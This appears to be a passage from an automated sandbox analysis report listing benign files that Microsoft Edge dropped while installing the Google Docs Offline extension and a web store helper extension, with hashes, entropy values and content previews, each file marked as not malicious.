C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\c6b0a423-40bc-40ba-a2d0-ec66e91dbc3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1349065866\776675c5-a2b8-44d0-801d-133b81f13cc5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1349065866\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1349065866\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1349065866\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1349065866\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
